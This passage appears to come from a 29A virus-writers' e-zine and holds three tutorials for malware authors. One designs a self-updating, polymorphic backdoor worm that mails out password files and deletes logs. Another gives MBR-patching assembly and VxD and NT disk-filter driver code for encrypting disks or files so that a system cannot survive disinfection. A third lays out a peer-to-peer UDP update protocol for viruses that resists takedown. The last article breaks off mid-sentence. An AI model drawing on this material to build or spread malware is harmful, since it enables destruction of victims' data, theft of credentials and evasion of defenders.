C) this is very important stuff. if the user is at least a bit smart, he won't open such message as "open attachment blah.exe, there is one very useful util". it is also stupid way how to spread the worm. but how to spread the worm without user interaction? do you know what is remote exploit? remote exploit is a program that uses known bugz of the system/program to execute some code on remote machine. I'm sure ya have already heard about it. Outlook Express exploits are very well known - for instance, the <DATE> buffer overflow bug - if the DATE item in mail message contains more than standard count of characterz, the code placed after DATE item will be executed without any notification to user. stupid, eh? but it worx. in Windowz there are thousandz and thousandz bug, just open your inet browser and visit www.securityfocus.com - there is bugtraq, conferension about security bugz - there you can find many informations about known bugz and, that's also important, full working expoits. the idea is to create updatable database of exploits that would be used for machine attacks. not too easy, but also not too hard to code.

D) how will the worm be able to learn? hmm, the "learn" word is not correct. in this case, "learn" = "be able to update itself to newer version". the worm should, in the start of execution check, if there is any newer version of worm on internet and if there is any, download it and update itself, which means run the downloaded worm and delete itself.

E) but how will we update the worm? where will be the newer version placed? what will be that communication channel? how to hide it? here comes some ideaz: 1) HTTP/FTP: the easiest method. you, as the author will place the updated versions of wormz to some public internet site and from there will wormz be able to download new versions. advantages: easy to code (use WININET.DLL library), easy to update, easy to debug. everything is easy in this case. disadvantages: easy to detect, easy to clean (AVerz/police can contact provider to destroy that site or they can simply add there some fake worm (e.g. cure) and all wormz will clean themself). this method is not very good. 2) IRC/E-MAIL: similar to 2) point. worm will on the start connect to IRC/EMAIL server. you, as the author can send new version to worm by DCC (on IRC) or to some public e-mail address. advantages: easy to code, same as above. you can use well documented IRC/SMTP/POP3 protocols or MAPI. disadvantages: same as above. AVerz/police can contact ISP to destroy email address / ban your access on IRC, so the worm won't be able to update itself. or they easilly can send some fake file by DCC/SMTP... 3) your own protocol: yep, code yer own communication protocol, with cypher support (I recommend public key cyphering). How? I have some ideaz in my head, but I won't explain them here, that's yer work :) But believe me, it's not so hard to

code as it loox for the first time.

F) to make detection of yer worm harder, use polymorphism. Don't forget that such poly engine should encode morph .code and .data sectionz aswell. My idea is to construct poly worm this way: - worm structure must be normalized - .code section should be reserved for decryptor, in .data section should be both of code and data - no section for relocationz - polymorphic engine will know all important values, such as size of sectionz and start of sectionz. - copy worm file to temporary file - morph temporary file, store generated decryptor to .code section, encoded code and data to .data section - send that temporary somewhere (e.g. yer teacher :) and delete it so, detection based on MZ header and .idata patternz is weak :)

G) imho it is silly to design wormz as one-purpose thingz - one worm for stealing passwordz, one for file transfering, etc... ask yourself why do you want to code such worm - just for spreading purposes, for spying or for anything else? You can code one worm, that will be able to do everything. My idea is: - code it as backdoor: once the computer become infected, the worm will enable you to access it. You will be able to send commandz (such as dir, sendme c:\windows\admin.pwl, delete c:\*.log, etc...) and the worm will be able to realise them. - code it as soldier: the worm will know instructionz and will be based on them. i know to wayz how to do that: a) as a parameter you will pass the URL of some script file. worm will download it and work on it. the script file may look like: send "c:\windows\admin.pwl" myworm@hotmail.com del c:\windows\*.log quit b) as a parameter you will pass the URL of some executable file. worm will download it and execute it. that file will do the rest. by using these featurez your worm can work as tool for hacking, as tool for file transfering, as whatever you want. but don't forget to guarant that the worm will accept only YOUR commands, or some childish lamer can abuse your worm.

this was a brief description of featurez which should the gewd worm have. ofcoz you don't need to use such featurez as portability, it's only up to you :-)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The "Project XTC" ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ when I finished reading the mentioned article, I decided to start to work on my new worm. I wanted the worm could work on similar rulez (described above). so I started to work on the XTC project... I worked really hardly and now, XTC is finished. it does not use all featurez I talked here about. I wanted it to be as small as possible and as useful as possible. I hope it is. for me, it's wonderful tool for hacking. but that's another story...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Final words?! ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I believe the golden age of superb wormz will come. wormz before the 2000 year are toys. let's show the world that the toys are not the only one sorta programz we can code... the golden age will come soon... if you would like to discuss with me this theme, feel free to mail me. that's all folks!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ # Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿ @ benny_29a@privacyx.com ³ @ http://benny29a.cjb.net ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÉÄÄÍ[ How to make infected system to depend on the virus ]ÍÄÄ» º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ º ÈÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ by Prizzy/29A ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍͼ

This article is intended for vx authors who want to equip their viruses the method whereby the infected computer will be dependent on the virus. In this case If an antivirus cleaned all infected files, the computer would be inaccessible. And as we can assume no antivirus won't disinfect files by special method.

Index ÄÄÄÄÄ 1. The methods of the system's subjection 2. Files Encryption 2.1. Substandard File Access 3. Disk Encryption 3.1. Big Three in Action 3.2. DOS Driver 3.3. Win95/98/ME Driver 3.3.1. Loading the driver 3.3.2. What's inside? 3.3.3. How to load DOS driver 3.3.4. Dynamic Loading 3.4. WinNT/2k Driver 3.4.1. How to compile the driver 3.4.2. Driver Source 3.4.3. Disk Operations 3.4.4. How to load DOS & VXD driver 3.4.5. Driver loading 3.5. Debugging Drivers 4. Conclusion

1. The methods of the system's subjection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To this day I know only two excelent ways how to reach it. They are based on the real-time encryption of the disk or of the files. Both methods need in order that the virus will be active to decode the encrypted data.

2. Files Encryption ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It doesn't give to the virus full control under the computer. Even this method is somehow limited. Every, for example, opening request from system goes through the virus and it will do: þ encrypt, let's say, of the first 2kb of the file þ on every reading request the virus will decrypt those 2kb of the file þ on the close request the viruss will encrypt back those 2kb This method is realized in Win32.Crypto virus.

2.1. Substandard file access ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In Win32 exist two ways how to access to the files, by default through API functions or through drivers (VXD in Win9x and SYS in WinNT/2k). The best way is choose one between them. Imagine in Win9x two programs can open the file both in ring0 and in ring3; and even if you coded VXD driver for ring0 section you wouldn't hook all file accesses, I tested it. Almost one year ago I occur to exploit ring3's LoadLibrary API function and encrypt only DLL files (because ring0 has own VMM function for DLL loading).

þ hook LoadLibrary/FreeLibrary API functions in KERNEL32.DLL þ with every FreeLibrary API request encrypt the library þ on LoadLibrary API request decrypt the library This method has some code disadvantages: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ þ In fact, KERNEL32.DLL file is only library and so it demands other infection than EXE files. Your virus also must supports special algorithm for KERNEL32 infection, you can't infect this file when it is opened and when Windows is running you can't write to this file (to know more read one tutorial by LordJulus in VxTaxy e-zine). þ You can't encrypt all DLL files because you must wait than your virus will be active (till then when KERNEL32.DLL won't be loaded). The files cannot be ancrypted are: USER32.DLL, ADVAPI32.DLL, PSTOREC.DLL and many more about 15 static names and the libraries rather from: HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs HKLM\System\CurrentControlSet\Control\SessionManager\Known16DLLs þ If the user is disinfect himself all files, let's say all DLLs files, after clearing he will be able to get to the OS but not to Windows. He mus re-install all Windows applications, MS-Office, Corel, Acad...

3. Disk Encryption ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It generally means a virus can gradually encrypt some parts of the disk, usually it isn't good encrypt whole disk's data but just only some sections (for example every tenth cluster etc). Thereby we reach of that, the user won't recognize any slowing down of his system. I'd say this way is programly more difficult than files encryption (mainly virus testing). This method can be realize by drivers (for full Win32 system) or with the virus without any drivers (only for WinNT and Win2000 system).

3.1. Big Three in Action ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To monitor all users' operations, at best, there must exist three drivers. The DOS driver, VXD driver and SYS driver. þ If it is Win95/98 virus it must carry DOS driver because the user doesn't need load Windows he can stay in pure DOS. þ The virus for WinNT/2000 and WinME don't need have DOS driver. The very interesting situation comes if the user has multi OS, let's say Win9x and WinNT (more datails below). How to check whether it's WinME or WinNT? The best way is analyze \BOOT.INI file and get Windows' directories, then compare dir structure and decide if it's WinME or WinNT/2k.

3.2. DOS Driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I say that again DOS driver must be especially for Win95/98. The best way how to load this driver is from Master Boot Record therewith that driver's body will be store on the zero track. The best is it isn't easy to write something to the MBR from Win9x and WinNT/2k OS, to this theme see in chapters devoted below to these OS. How þ þ þ to write driver behind MBR: read Partition Table to the own buffer check if the driver isn't there yet find free space in the zero track (because of EZ-DRIVE etc) ; get disk's information mov ah,8

int and push mov read:mov mov mov int cmp jz sub push mov mov rep test pop jz next_s:inc pop push cmp jnz pop shr found:mov

13h cx,3Fh cx cx,2 ax,201h bx,offset buffer dx,80h 13h word ptr es:[bx+3],'BA' found ax,ax cx cx,256 di,bx scasw cx,cx cx found cx dx dx cx,dx read cx cx,1 cs:[dest_sector],cl

;sectors per track

;read one sector ;1st drive ;active mark ;== the driver is loaded

;search if this sector is ;free for our dr.'s body ;is free?

;go on next sector

;end of the track? ;yes, set the middle of ;the track ;our future sectror number

þ write the driver on the zero track, on the found place þ copy new partition code to the current one, this new code must load our driver to the memory and then run its. ; new partition code jmp short $+4 db "AB" cli xor ax,ax mov ss,ax mov sp,7C00h sti cld mov ax,200h org $-2 db driver_size/512+1, 2 mov cx,0 dest_sector equ $-2 mov dx,80h push 5000h pop es xor bx,bx int 13h seges db 0EA dw 100h+__driver_start dw 5000h-10h

;go over signature ;means the driver is here ;set the stack frame

;load the driver to the ;memory

;the sector where the driver ;is stored ;1st drive ;new memory location ;zero offset ;run on the driver, set ;IP=100h and CS-10h

þ driver 'll immediately restore the old partition code from the buffer, the destination offset is 0:7C00. þ hook 0x13 service and then go back

3.3. Win95/98 Driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To hook requests by this OS you must code a VXD driver. Now in this

chap-

ter I will show you it won't any problem for you, vxer. At the beginning you should have some programmers needs: þ visit "http://win32asm.cjb.net" and download Iczelion's VXD tutorials; here you'll find information about VXD LE driver structure, its loading, calling VMM functions etc. I expect your knowledge of this tut. þ also without Microsoft Device Development Kit for Win98 "DDK98" it won't go, visit:"http://www.microsoft.com/hwdev/ddk/install98ddk.htm?" and download it. Here you will find all about VXD driver all VMM function descriptions and tips.

3.3.1. Loading of the driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are two types of VXD under Win9x: þ Static VXD þ Dynamic VXD The first one are loaded during system bootup and stay loaded until the system shutdown. Dynamic VXD can be loaded/unloaded when needed. The best way how to load static VXD is copy its to the SYSTEM\IOSUBSYS directory and after next restart Windows will automatically upload registers itself. If you want to load VXD immediately you must call following code: push push push push call cmp jz mov push push call ... 0 ;no template file FILE_FLAG_DELETE_ON_CLOSE 0 0 0 0 offset VxDName ;the name of the driver CreateFileA eax,-1 error hVxD,eax ;handle of the driver 0 0 0 0 0 NULL 1 hVxD DeviceIoControl ;active VXD driver

VxDName db "\\.\driver.vxd",0 hVxD dd ?

3.3.2. What's inside? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Our final VXD driver couldn't be too complex, we will hook only one VMM service, no special calling we shouldn't use. .386p include vmm.inc include vwin32.inc

DECLARE_VIRTUAL_DEVICE DRIVER,1,0, DRIVER_Control,\ UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER Begin_control_dispatch DRIVER Control_Dispatch Device_Init, OnDeviceIoControl End_control_dispatch DRIVER ; start of the driver VxD_Locked_Code_Seg BeginProc OnDeviceIoControl ;LE segment ;here VXD is starting...

mov mov VMMCall mov xor ret

eax,100004h esi,offset SC_Hook Hook_Device_Service [sc_orig_func],esi eax,eax

;IOS_SendCommand ;address of the hooked function ;hook that service ;original hooked address ;no error

EndProc OnDeviceIoControl That's all for now. Just we hooked one VMM function: IOS_SendCommand, in SC_Hook function we will catch all system access through ring0. BeginProc SC_Hook ; this service has the same params like IOS_SendCommand func. ; esi ... IOR structure \ more in DDK 98 ; edi ... DCB structure / pusha cmp jnz mov mov

byte ptr [sc_already_inside],0 sc_exit byte ptr [sc_already_inside],1 [sc_ior_address],esi

;re-call ?

;save IOR structure address

; in AL will be a drive letter from where the request comes mov al,byte ptr [esi].IOR_vol_designtr cmp al,2 jb sc_finish ;A,B drives ? mov [sc_drive_letter],al ;save it, bcos of multi-disks ; get the called reason: reading, writting, verifying... mov ax,word ptr [esi].IOR_func ... ; get started address in sectors mov eax,[esi].IOR_start_addr ... checking if this value is in the encrypted area ; get output buffer mov eax,[esi].IOR_buffer_ptr test [esi].IOR_Flags,IORF_SCATTER_GATHER ; if this flag is set the output address is given like SGD jz sc_physical mov eax,[eax+4] ;get real output address sc_physical: mov [sc_output_buf],eax ; own algorithm ... ... There're two ways of rerturning to the host either returning status code or by callbacks. I remember when I was coding VXD driver I had some problems with callbacks so I will do the best you wouldn't stay in dark. ; go to the original function jmp [sc_orig_func] OR

;call IOS_SendCommand

; set the callback mov esi,[sc_ior_address] ;get IOR structure address mov eax,[esi].IOR_callback ;get old callback address mov [esi].IOR_callback,offset sc_callback mov [sc_old_callback],eax popa jmp [sc_orig_funct] ;call IOS_SendCommand sc_callback: pusha ... popa cmp [sc_old_callback],0 jz sc_wn_exit_ret jmp [sc_old_callback] sc_wn_exit_ret: ret

;is there any old cback. ? ;yeah, jump there ;no callback

3.3.3. How to load DOS driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Again we have two solutions how to write a code on the zero track. þ using 0x13 service: it's the easiest way but I'd never used it because many eyes can watch you, even i know one case when calling 0x13 was disabled. þ using your VXD driver: just you will a instigation to the driver and it will write instead you: if the driver is initialized, it will check partition code and accordingly it act on itself. The main problem is we cant load the driver the same methods like in Win9x because WinNT/2k don't support 0x13 service. So if the virus is both for Win9x and for WinNT/2k, is better when the DOS driver will be loaded rather from WinNT/2k because from Win9x isn't easy to load WinNT/2k driver than from WinNT/2k to load VXD driver. I'd recommend for this situation to spread virus itself on Win9x/ME platform and it don't load any drivers here as long as the user won't run an infected file from WinNT/2k.

3.4. WinNT/2k driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This'll be the very interesting chapter because I don't have any books to help me, no tutorials I have, it goes from my own experience. Anyway you will have to download Microsoft Device Development Kit for Win2000/ME from the MS web site (it has something about 65Mb).

3.4.1. How to compile the driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ After installing DDK2k/Me you will get some their tools and subsequently you can adjust your MS Visual C++ setting to code it from this pleasure environment, or the 2nd side is go to DOS and create these files: SOURCES. TARGETNAME=DRIVER TARGETPATH=c:\my_work\virus TARGETTYPE=DRIVER LINKER_FLAGS=-MAP INCLUDES=C:\NT\INC SOURCES=driver.c To compile the driver write: ;create this file ;the name of the driver ;driver's directory ;type ;some parameters for linking ;where you have INC files, re;commend use VC++ INC directory ;the name of the driver's file

BUILD.EXE -w -b

3.4.2. Driver Source ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All comments to the driver will be dip into the source. #include <ntddk.h> #include "driver.h"

// The name of the driver which we will hook, in SoftICE you can // write "DEVICE" or "DRIVER" to look at those. Mark "%d" means the // number of physical disk device (0 = C: drive) #define DiskDeviceName "\\Device\\HardDisk%d" #ifdef ALLOC_PRAGMA #pragma alloc_text(INIT,DriverEntry) #endif // After initialization WinNT/2k call as the first this function. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // devExt is the shared structure for all driver's parts PDEVICE_EXTENSION devExt; // new hooked device object PDEVICE_OBJECT hookDevice; UNICODE_STRING unicodeDiskName; ANSI_STRING DiskNameA; NTSTATUS status; UCHAR DiskName[200]; ULONG i;

// For now we don't have selected any callbacks for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++) DriverObject->MajorFunction[i] = Dispatch; // If the system send any read/write/... request we can set some // routine which will catch this. DriverObject->MajorFunction[IRP_MJ_READ] = Read; DriverObject->MajorFunction[IRP_MJ_WRITE] = Write; // Create new device object. status = IoCreateDevice(DriverObject, sizeof(DEVICE_EXTENSION), 0, FILE_DEVICE_DISK, 0, FALSE, &hookDevice); if (!NT_SUCCESS(status)) return STATUS_SUCCESS; devExt = hookDevice->DeviceExtension; devExt->DeviceObject=hookDevice; devExt->DriverObject=DriverObject; // Get unicode device name. sprintf(DiskName, DiskDeviceName, 0);

RtlInitAnsiString(&DiskNameA, DiskName); RtlAnsiStringToUnicodeString(&unicodeDiskName,&DiskNameA,TRUE); // There are two typed of getting information: buffered or di// IO. Buffered IO are used for device which can wait, for exam// ple keyboards, mouses etc. Direct IO are for disk device, // floppy device, CD-ROM and so on. hookDevice->Flags |= DO_DIRECT_IO; hookDevice->Flags &= ~DO_DEVICE_INITIALIZING; // Hook the device. status = IoAttachDevice(hookDevice, &unicodeDiskName, &devExt->attachedDevice); if (!NT_SUCCESS(status)) return STATUS_SUCCESS; return STATUS_SUCCESS; } NTSTATUS Dispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension; // We won't do any operations, set the next lower driver. Irp->CurrentLocation++; Irp->Tail.Overlay.CurrentStackLocation++; return IoCallDriver(devExt->attachedDevice, Irp); } NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION PIO_STACK_LOCATION PDEVICE_EXTENSION IO_STATUS_BLOCK currentIrpStack; nextIrpStack; devExt = DeviceObject->DeviceExtension; IoStatus;

// Get the current input parameters. currentIrpStack = IoGetCurrentIrpStackLocation(Irp); // Get IRP parameters // ... how many bytes the system wants to read devExt->Length = currentIrpStack->Parameters.Read.Length: devExt->howMany = devExt->Length / 512; // ... where is starting offset of the request ? devExt->Offset = currentIrpStack-> Parameters.Read.ByteOffset.LowPart: // ... get the output buffer devExt->buffer = MmGetSystemAddressForMdl(Irp->MdlAddress);

// Now check the range of encryption and // decode read request or not. ... Now we have

find out if you must

two ways go back, normal through return value or we can use

callback. // Normal returning way (set next lower driver) Irp->CurrentLocation++; Irp->Tail.Overlay.CurrentStackLocation++; return IoCallDriver(devExt->attachedDevice, Irp); OR // Set the callback // Copy next current stack to the lower one. currentIrpStack = IoGetCurrentIrpStackLocation(Irp); nextIrpStack = IoGetNextIrpStackLocation(Irp); *nextIrpStack = *currentIrpStack; IoSetCompletionRoutine(Irp, DiskReadCompletion, DeviceObject, TRUE, TRUE, TRUE); What's inside callback? NTSTATUS DiskReadNoCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) { PIO_STACK_LOCATION IrpSp; PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

// Get current Irp stack == input parameters IrpSp = IoGetCurrentIrpStackLocation(Irp); // If the operation was successful... if (NT_SUCCESS(Irp->IoStatus.Status)) { // Check Irp parameters (see above) ... } // Mark the Irp pending if required if (Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } Also highly recommend to read DDK2k about the drivers.

3.4.3. Disk Operations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To call all disk operations like reading, writing, verifying you must you these functions: þ IoBuildSynchronousFsdRequest : can be used only during starting of the driver because here we can wait for other thread yet.

NTSTATUS DiskLoadMBRSector(IN PDEVICE_OBJECT DeviceObject) { PDEVICE_EXTENSION IO_STATUS_BLOCK LARGE_INTEGER NTSTATUS KEVENT PIRP devExt = DeviceObject->DeviceExtension; IoStatus; offset; status; event; localIrp;

// Set BootSector's starting offset offset.HighPart = offset.LowPart = 0; // Initilize event for synchronous equest. KeInitializeEvent(&event, NotificationEvent, FALSE); // Build Irp request. localIrp = IoBuildSynchronousFsdRequest( IRP_MJ_READ, devExt->attachedDevice, (void*)devExt->MBRSector, 512, &offset, &event, &IoStatus); if (localIrp == NULL) return STATUS_UNSUCCESSFUL; if (IoCallDriver(devExt->attachedDevice, localIrp) == STATUS_PENDING) KeWaitForSingleObject(&event, Suspended, KernelMode, FALSE, NULL); return NT_SUCCESS(IoStatus.Status); } þ IoBuildAsynchronousFsdRequest: used only in Dispatch routines. ... offset.HighPart = offset.LowPart = 0; // Build asynchronous Irp request localIrp = IoBuildAsynchronousFsdRequest( IRP_MJ_READ, devExt->attachedDevice, (void*)devExt->MBRSector, 512, &offset, NULL); if (!localIrp) return STATUS_UNSUCCESSFUL; // Set completion routine to validate finishing request. IoSetCompletionRoutine( localIrp,

DiskLoadMBRSectorCompletion, DeviceObject, TRUE, TRUE, TRUE); // Set an event. KeInitializeEvent(&event, NotificationEvent, FALSE); status = IoCallDriver(devExt->attachedDevice, localIrp); // Set Irp stack frame to the next loweer one. localIrp->CurrentLocation--; localIrp->Tail.Overlay.CurrentStackLocation = IoGetNextIrpStackLocation(localIrp); // Now we will wait 100ms than IoCallDriver will return // STATUS_PENDING value. If you get this value, device hasn't // finished the request yet. This method is my own I haven't // think up any new one. Also I spoke with some developers and // they haven't used this yet. offset.LowPart=100; if (status == STATUS_PENDING) KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, &offset); return localIrp->IoStatus.Status;

3.4.4. How to load DOS & VXD driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ At first I'd like to take to parts the DOS driver problem. There are exist two ways how something write to the zero track. þ To use standard device: works only when the user has admin rights // Open the device representing the first hard disk. This // call will fail if the user doesn't have sufficient rights hPhysicalDrive = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hPhysicalDrive != INVALID_HANDLE_VALUE) { MBR data; DWORD dwBytesRead; // Read sector 0 off of the drive... ReadFile(hPhysicalDrive, &data, 512, &dwBytesRead, NULL); ... // Close the driver CloseHandle(hPhysicalDrive); }

þ To use driver: you can dynamic load the driver (more below) and it'll use IoBuildSynchronousFsdRequest to read/write it. This manner is better because you can't know if the user is an administartor. So, we successfuly loaded the DOS driver and now we must do the same for VXD driver. This is easier but we must know if the user 's Win95/98 system or not. We have two ways to find it out: þ Compare typical Win9x directories, like: C:\Windows, C:\Win95 or Win98 etc... þ Create a thread which will search the disk step by step.

3.4.5. Driver loading ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I am tired of the repetition "there're two ways how to..." all the time of this tutorial but it's true. þ Update registers: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VX where VX is the name of your directory in regs; so, create these lines there: "ImageePath" ,REG_EXPAND_SZ,"Systeem32\DRIVERS\driver.sys" "Description" ,REG_SZ ,"The virus NT/2k driver." "DisplayName" ,REG_SZ ,"VX_SYS" "ErrorControl",REG_DWORD ,1 "Start" ,REG_DWORD ,1 ;boot loading "Type" ,REG_DWORD ,1 ;kernel driver So, after rebooting your driver will be loaded itself. þ Dynamic loading: This method automatically updates registers. .386 .model

flat,stdcall

includelib c:\...\advapi32.lib extrn OpenSCManagerA:proc extrn CreateServiceA:proc extrn GetCurrentDirectoryA:proc extrn lstrcat:proc extrn CloseServiceHandle:proc extrn StartServiceA:proc extrn DeleteService:proc .data SC_MANAGER_ALL_ACCESS SERVICE_ALL_ACCESS SERVICE_KERNEL_DRIVER SERVICE_DEMAND_START SERVICE_ERROR_NORMAL SERVICE_CONTROL_STOP DosDeviceName DriverName _ServiceExe .data? schSCManager schService path dd ? dd ? db 260 dup(?) EQU EQU EQU EQU EQU EQU STANDARD_RIGHTS_REQUIRED OR 03FH STANDARD_RIGHTS_REQUIRED OR 1FFH 001H 003H 001H 001H

db "\\.\" db "driver.sys",0 db "\driver.sys",0

.code start: ; get actual directory + the name of the driver push 260 offset path call GetCurrentDirectoryA push offset path push offset _ServiceExe call lstrcat ; load the driver xor esi,esi push esi esi SC_MANAGER_ALL_ACCESS call OpenSCManagerA mov schSCManager,eax xor eax,esi jz __failed push schSCManager push offset DriverName offset DriverName push SERVICE_ALL_ACCESS SERVICE_KERNEL_DRIVER \ SERVICE_DEMAND_START SERVICE_ERROR_NORMAL push offset path push esi esi esi esi esi call CreateServiceA mov [schService],eax xor eax,esi jz __close_SCM push eax esi esi call StartServiceA ... push call end start 0 ExitProcess

3.5. Debugging Drivers ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For all vxers will be better use SoftICE, there is one my special advice for you: þ there, where you want to place a brekpoint, write: "__asm int 4" (C++ mode) or "int 4" (ASM mode) þ jump to SoftICE and write "bpint 4" þ run dynamicaly the driver þ SoftICE will stop the driver þ replace "int 4" instruction, with: "a (enter) nop (enter) nop (enter)" and if you want to SoftIce stop there in next time, write: "bpxeip" Some rich vxers who have two computers can use the 2nd one like a debugger, the exact instruction is in DDK 2k. You will need create only a serial cabel (show us your electrotechnic knowledge!).

4. Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄ If I had possibility to write a virus sometimes in future, surely I would choose this method like 100%-ly attack againt antiviruses. For some vxers it can be hard to code but mainly "Files Encryption" would be easy to realize. In fine I wish you could instead all anti-* technics to use one quite certain way leading to the antiviruses paralysis.

25th-26th November 2000, the Czech Republic Prizzy/29A

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ NetWork Distributed Viruses ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Bumblebee/29A

Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ This article makes a little approach to network thinking it as a way to update viruses. distributed viruses,

We've seen different people trying to make viruses updatable. I was thinking in the idea and i've found a problem when you update your virus via network, let's say internet. Some interesting viruses try to download the update from a web site using HTTP. That is very good but when avers check the virus your update site is sure removed :/ The same will happen with FTP. heh But news could be different. But not in this article :) But i think could be made that the virus updates itself from a more advanced virus. Of coz for this issue we need to define at least, and may be not at last, two protocols: for network communication and an interface for updating. I'm going to expose here an example of network protocol. As i wrote a MVI (modular virus interface) article for 29a#4 i'll not discuss here again the interface for updating. Ask our distributor for old zine numbers hehehe. Network Protocol ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The idea i have in mind is that a virus can be server or client. The way the virus acts depends on some noise to avoid more than one server on the same sub-network. For the idea i want to use UDP protocol that is simple to manage and coz we're coding a virus no matter of packet loss :) Let me use something like a finite state machine (M.E.F. in spanish).

Some defines: RANDOM: random number WAITTIME: time to wait for a server READY2SERVE: message that send servers waiting client connections PUBLICPORT: port that avers will know :) HEREIAM: message that sends a client that wanna join the server. it includes the module list with versions to allow server to know if there are new versions PRIVATEPORT: port where server talks with clients. it includes the list of modules with versions that has the server (random port>1024 per session) IP: client/server IP from request BC: our network broadcast addr (thats 10.221.1.0 for IP 10.221.1.10 as ex.) you can put here the broadcast of network size C,B,... but i think C its ok (mask 255.255.255.0) WANNAUPDATE: module update request MODULEUPDATE: that's the module requested

We have following states (only four... heh): E0: Wait listening BC:PUBLICPORT (start WAITTIME+RANDOM) E1: Wait listening BC:PUBLICPORT (start WAITTIME+RANDOM) Wait listening BC:PRIVATEPORT+1 E2: Wait update (start WAITTIME+RANDOM) E3: Wait listening BC:PUBLICPORT+1 (start WAITTIME+RANDOM) Wait listening BC:PRIVATEPORT Some actions (inputs): A0: A1: A2: A3: A4: A5: Update received Self not updated Update requested WAITTIME+RANDOM out HEREIAM received READY2SERVE received

Let's begin! Initial state: E0 E0 -- A3 --> E3 (we are server) E3 | -| -| --- A3: out READY2SERVE@BC:PUBLICPORT --> E3 A4: out PRIVATEPORT@IP:PUBLICPORT --> E3 A1: out WANNAUPDATE@IP:PRIVATEPORT+1 --> E2 A2: out MODULEUPDATE@IP:PRIVATEPORT+1 --> E3

E0 -- A5: out HEREIAM@IP:PUBLICPORT+1 --> E1 (we are client) E1 | -| -| --- A1: WANNAUPDATE@IP:PRIVATEPORT --> E2 A2: out MODULEUPDATE@IP:PRIVATEPORT --> E1 A3 --> E3 (we are server) A5: out HEREIAM@IP:PUBLICPORT+1 --> E1 (we are still client)

E2 -- A0 --> E1 if we're client | --> E3 if we're server | -- A5 --> E0 if we're client (server down?) --> E3 if we're server (client update loss) It may seem a bit complex, but it isn't! It has a non efficient way in data terms to manage network errors, that's UDP packes loss. But it is easy to code without annoying ACK's and NACK's going up and down the wire. What the hell we get with this protocol? We have a different servers in different sessions (and may be in the same session hehe ;) And the best is that sysadmin only knows the server IP, that's only one machine infected. To get the others you must wait to another virus to become server and this will took WAITTIME+RANDOM (random noise to avoid two or more servers running at time... but is not needed and really doesn't works very fine if machines swich on in a random way). Of coz avers can code a fake server... but sure this is annoying for them, isn't it?

Battlefield ÄÄÄÄÄÄÄÄÄÄÄ May be you (lo reader!) are a bit lost with my M.E.F. so i'm write here an example of protocol working: going to

